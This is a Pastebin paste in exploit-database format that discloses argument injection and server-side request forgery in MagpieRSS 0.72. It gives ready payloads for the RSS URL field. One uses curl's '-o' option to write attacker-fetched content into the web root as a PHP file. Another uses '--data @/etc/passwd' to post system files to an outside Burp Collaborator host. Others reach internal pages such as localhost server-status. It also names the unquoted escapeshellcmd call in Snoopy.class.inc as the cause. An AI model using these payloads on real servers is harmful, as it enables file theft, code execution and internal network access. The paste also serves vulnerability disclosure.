Advertisement
Guest User

MagpieRSS 0.72 Command injection/code injection and Internal Server side request forgery.

a guest
Mar 18th, 2021
7,310
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.41 KB | None | 0 0
  1. # Exploit Title: MagpieRSS 0.72 Command injection/code injection and Internal Server side request forgery.
  2. # Date: 18 March 2021
  3. # Exploit Author: bl4ckh4ck5
  4. # Vendor Homepage: http://magpierss.sourceforge.net/
  5. # Software Link: https://sourceforge.net/projects/magpierss/files/magpierss/magpierss-0.72/magpierss-0.72.tar.gz/download
  6. # Version: MagpieRSS 0.72 and maybe older once aswell.
  7. # Tested on: Linux debian buster with default apache install.
  8. # CVE : Not yet requested.
  9.  
  10. In MagpieRSS 0.72 on the /scripts/magpie_debug.php?url=testtest and /scripts/magpie_simple.php page i noticed there was a command injection in the RSS URL field when you send a https url and click the Parse RSS button.
  11. if you would send "https://www.example.com? -o /var/www/html/testtest.php" as input it would save the url output to the testtest.php file directly in the /var/www/html/ folder.
  12. the "?" is importent or it won't work.
  13. it is also possible to read any file if you send it like this "https://zcf0arfay3qgko9i7xr0b2vnxe39ry.burpcollaborator.net? --data '@/etc/passwd'" then the page "zcf0arfay3qgko9i7xr0b2vnxe39ry.burpcollaborator.net" would receive as POST data the /etc/passwd file.
  14.  
  15. Outside of that because it uses the curl request directly from the prompt it is not restricted and it is possible to request internal pages like 127.0.0.1 however it is restricted to https requests only, but you can partionaly work arround that by sending the url like this "https://www.example.com? http://localhost/server-status/" then it also can send it to a http domain however then it is blind ssrf but on https domains you can make it vissable by first saving it to a file and if you can't write in the /var/www/html folder you sometimes can write it to the /tmp/testtest.txt and use "https://www.example.com? --data '@/tmp/testtest.txt'" to retrieve that file.
  16.  
  17. The problem occures in the file /extlib/Snoopy.class.inc on line 660:
  18. https://github.com/kellan/magpierss/blob/04d2a88b97fdba5813d01dc0d56c772d97360bb5/extlib/Snoopy.class.inc#L660
  19. On that page there they use a escapeshellcmd command to escape the https url however they didn't put it between quotes.
  20. so it's possible to add a "-" to this and rewrite the curl command on the /scripts/magpie_debug.php and /scripts/magpie_simple.php page.
  21. from there on you can esculate it to Server side request forgery or Code injection.
  22.  
  23. It mostlickly affects most versions but i have only tested it on version 0.72.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement